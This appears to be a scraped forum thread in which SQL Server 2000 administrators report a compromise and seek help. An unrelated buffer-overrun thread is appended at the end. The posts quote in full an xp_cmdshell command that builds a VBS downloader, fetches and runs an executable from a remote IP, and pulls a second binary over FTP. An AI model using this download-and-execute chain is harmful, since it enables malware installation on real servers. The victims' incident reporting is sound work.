> adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type => adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.
> ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath,
> adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.
> vbs&start c:\msagent.exe&echo open 172.22.21.181 17534>x&echo get 27031_mssql.
> exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
> now i'm out of mind how to stop this.
> Can anyone help me?
>|||"Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote in
message news:OtyZQntHHHA.2632@.TK2MSFTNGP06.phx.gbl...
> SQL Server does not do this by itself. It is either a job or some
> application that does this. I suggest you use Profiler to track down who
> is calling these xp_cmdshell executions.
'TRACK DOWN' ...is this a police action'
Ok, Rac uses xp_cmdshell and regularly. What do you want to do about it! ?
You wanna come and get me? You gonna bring the MVP brigade? Armed?
Well I'll be waiting for ya. I'm not frightened by the shell game.
-:)
best wishes for the holidays,
steve|||LOL
Bring it on, Steve. ;-)
> Ok, Rac uses xp_cmdshell and regularly.
Ahh, I didn't know that. You think this one was RAC? I tend to be suspicious when I see a lot of
xp_cmdshell calls, but that it not the same as saying that there aren't good/smart/valid reasons to
use it.
> best wishes for the holidays,
And the same to you! :-)
--
Tibor Karaszi, SQL Server MVP
http://www.karaszi.com/sqlserver/default.asp
http://www.solidqualitylearning.com/
"Steve Dassin" <steve@.nospamrac4sql.net> wrote in message
news:uK8aDjwHHHA.1264@.TK2MSFTNGP06.phx.gbl...
> "Tibor Karaszi" <tibor_please.no.email_karaszi@.hotmail.nomail.com> wrote in message
> news:OtyZQntHHHA.2632@.TK2MSFTNGP06.phx.gbl...
>> SQL Server does not do this by itself. It is either a job or some application that does this. I
>> suggest you use Profiler to track down who is calling these xp_cmdshell executions.
> 'TRACK DOWN' ...is this a police action'
> Ok, Rac uses xp_cmdshell and regularly. What do you want to do about it! ?
> You wanna come and get me? You gonna bring the MVP brigade? Armed?
> Well I'll be waiting for ya. I'm not frightened by the shell game.
>
> -:)
> best wishes for the holidays,
> steve
>|||We have a SQL server exhibiting odd behavior too with the trouble starting on
Monday. We are also seeing the same xpCMevents in our logs. Multiple
instances of CMD.exe and FTP.exe had been running under the SYSTEM account
but I didn't get the parameters like you did.
We did however find a bunch of "84785_mssql[x].exe" (where x is a number) in
the temporary internet files directory of the Default User profile. The
files were all 258 KB in size. We found a new service had been added to the
machine, "Microsoft Agent", that was running
"%system%\system32\dllcache\BNCHOST.exe" (which is a protected system folder)
but I haven't been able to find any info on it yet. BNCHOST.exe is also 258
KB and when deleted, it eventually comes back. It just so happens that the
modify date on the new BNCHOST.exe always matches the date on one of the
84785_mssql[x].exe files. I popped both files open with a hex editor and
they are definitely the same file. The file starts with "MZLoveboom PE L
ByDwing!" Google searches showed other MZ... files ByDwing but nothing
exactly the same.
Once we disabled the "Microsoft Agent" service, the performance problems
stopped and the machine has remained fairly stable. We aren't out of the
woods though, because we still don't know what happened and as of four hours
ago, BNCHOST.exe was still regenerating itself.
I will post more as I see it. Let me know if you see the same "Microsoft
Agent" service, BNCHOST.exe or 84785_mssql[x].exe in your Temporary Internet
Files.
Good luck!
"bass_ua" wrote:
> I have discovered recently that the sql server 2000 sp4 has spawned a lot of
> cmd.exe processes.
> Event viewer is full of events like:
> 8128 :
> Using 'xplog70.dll' version '2000.80.760' to execute extended stored
> procedure 'xp_cmdshell'.
> the parameter cmd,exe was called:
> C:\WINDOWS\system32\cmd.exe /c echo dim HTTPGET>c:\1.vbs&echo dim Data>>c:\1.
> vbs&echo dim ExeURL>>c:\1.vbs&echo dim LocalPath>>c:\1.vbs&echo.>>c:\1.
> vbs&echo ExeURL = ">c:/1.vbs&echo">http://172.22.21.181:9843/84785_mssql.exe">>c:\1.vbs&echo
> LocalPath = "c:\msagent.exe">>c:\1.vbs&echo.>>c:\1.vbs&echo Set HTTPGET => CreateObject("Microsoft" ^& chr(46) ^& "XMLHTTP")>>c:\1.vbs&echo Set Data => CreateObject("ADODB" ^& chr(46) ^& "Stream")>>c:\1.vbs&echo.>>c:\1.vbs&echo
> HTTPGET.Open "GET", ExeURL, false>>c:\1.vbs&echo HTTPGET.Send>>c:\1.vbs&echo.
> >>c:\1.vbs&echo Const adTypeBinary = ^1>>c:\1.vbs&echo Const
> adSaveCreateOverWrite = ^2>>c:\1.vbs&echo.>>c:\1.vbs&echo Data.Type => adTypeBinary>>c:\1.vbs&echo Data.Open>>c:\1.vbs&echo Data.Write HTTPGET.
> ResponseBody>>c:\1.vbs&echo Data.SaveToFile LocalPath,
> adSaveCreateOverWrite>>c:\1.vbs&cscript //Nologo /B c:\1.vbs&del c:\1.
> vbs&start c:\msagent.exe&echo open 172.22.21.181 17534>x&echo get 27031_mssql.
> exe>>x&echo quit>>x&ftp -n -s:x&27031_mssql.exe&del x&exit
> now i'm out of mind how to stop this.
> Can anyone help me?
>|||Hi all, I'm fighting with exactly the same problem on my server. I'v
tried everything I know without success. Do someone have an idea abou
solving the problem ? Thanks
Marzi
--
Marzio Molinar
----
Marzio Molinari's Profile: http://unixadmintalk.com/79
View this thread: http://unixadmintalk.com/showthread.php?t=25483

Monday, February 20, 2012

LowLlevel Error

We see the below error from time to time as a popup message on the
desktop. The same error appears in the system event log as Source:
Application Popup Event ID: 26. We haven't been able to identify any
specific event which causes it to happen.
Start Error ----
Application popup: Microsoft Visual C++ Runtime Library : Buffer overrun
detected!
Program: C:\PROGRA~1\MICROS~1\MSSQL\binn\sqlservr.exe
A buffer overrun has been detected which has corrupted the program's
internal state. The program cannot safely continue execution and must
now be terminated.
End Error ----
After the message appears, the running sqlservr.exe process is frozen
and clients can no longer access the database. Ending task from the
task manager doesn't even work and we have to reboot the server to get a
functioning SQL server service.
Anyone have ideas? I couldn't find much help with google. We are
running SQL Server 2000 with SP3.
~Jason
--No one has seen this error before? :(
~Jason
--